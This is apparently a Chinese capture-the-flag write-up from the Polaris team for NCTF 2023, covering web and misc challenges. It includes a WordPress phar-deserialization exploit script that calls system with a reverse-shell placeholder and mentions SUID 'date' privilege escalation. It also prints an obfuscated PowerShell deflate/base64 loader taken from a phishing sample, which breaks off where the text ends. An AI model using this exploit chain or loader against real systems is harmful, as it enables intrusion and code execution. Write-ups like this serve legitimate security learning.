本次 NCTF 2023，我们Polaris战队排名第2。

排名 队伍 总分
1 LaoGong 10605
2 Polaris 8938
3 Arr3stY0u 8380
4 MiniL 8137
5 Scr1w 7928
6 二刺螈 7843
7 miniSUSer 5893
8 不知道永远是不是无限 5826
9 mininep 5182
10 gets 4418

WEB

logging

image-20231224084328769

image-20231224084357191

image-20231224085216283

Wait What?

审计代码，查找资料，得知在g全局模式下，重复调用test进行匹配会出现真假交替的情况
参考https://zhuanlan.zhihu.com/p/86384322
所以如果能触发两次test方法可以绕过黑名单

而更新正则对象的部分在try_catch中，所以如果报错就能阻止正则对象的更新

因为对象不能像数组那样遍历取值，所以用对象来报错

/api/ban_user接口传入{"username":"user","password":"user","ban_username":{"a":"b"}}
image-20231224175402096

再两次用admin身份请求flag，第二次即可获得flag

image-20231224211830648

ez_wordpress

题目有提示

image-20231224173615872

且给了wp的版本是6.4.1，而官网最新是6.4.2，可能漏洞已经修复了，对比两版源码

image-20231224173730294

6.4.2修了两个反序列化，模式是一样的

image-20231224173800373

刚好是call_user_func，找到反序列化链

在hint给的链接里，发现有插件的扫描记录搜索可以发现有all-in-one-video-gallery插件

该插件存在任意文件读取的cve，操控dl参数实现，找到phar触发点

再找到drag-and-drop-multiple-file-upload-contact-form-7的上传，参考https://www.exploit-db.com/exploits/48520

构造phar

<?php

class WP_HTML_Token
{
  public $on_destroy;
  public $bookmark_name;
  public function __construct()
  {
    $this->on_destroy = "system";
    $this->bookmark_name="反弹shell";
  }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new WP_HTML_Token();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传

QQ截图20231224142343

用任意文件读取触发phar

QQ截图20231224142359

反弹shell，发现flag，没有权限，suid提权

QQ截图20231224141422

date提权

image-20231224211911700

Webshell Generator

image-20231224212447843

MISC

Jump For Signin

在二维码未落地之前是完整的，通过截图工具截图就行

08310ac7d670b742f2db20f66183e4d5

NCTF2077: jackpot

解析一下eml文件得到两个地址，一个png，一个exe

exe扔到微步得到flag2

image-20231224151628088

flag1从图片找，发现是用Invoke-image做了一个免杀，LSB提取第四位数据即可

from PIL import Image

def solove_png(image_path):
    img = Image.open(image_path)
    width, height = img.size
    extract_data = bytearray()
    for y in range(height):
        for x in range(width):
            pixels = img.getpixel((x, y))
            extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)
            extract_data.append(extract_byte)
    return extract_data

image_path = "nctf.png"
data = solove_png(image_path)

with open('1.bin', 'wb') as f:
    f.write(data)

得到第一段加密密文

&((GV '*mdR*').NaMe[3,11,2]-JoIN'') ( NEw-ObjeCt  sySTeM.iO.sTReamreadEr( ( NEw-ObjeCt  Io.cOMPrEssIoN.DEflATeSTREaM([sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG( '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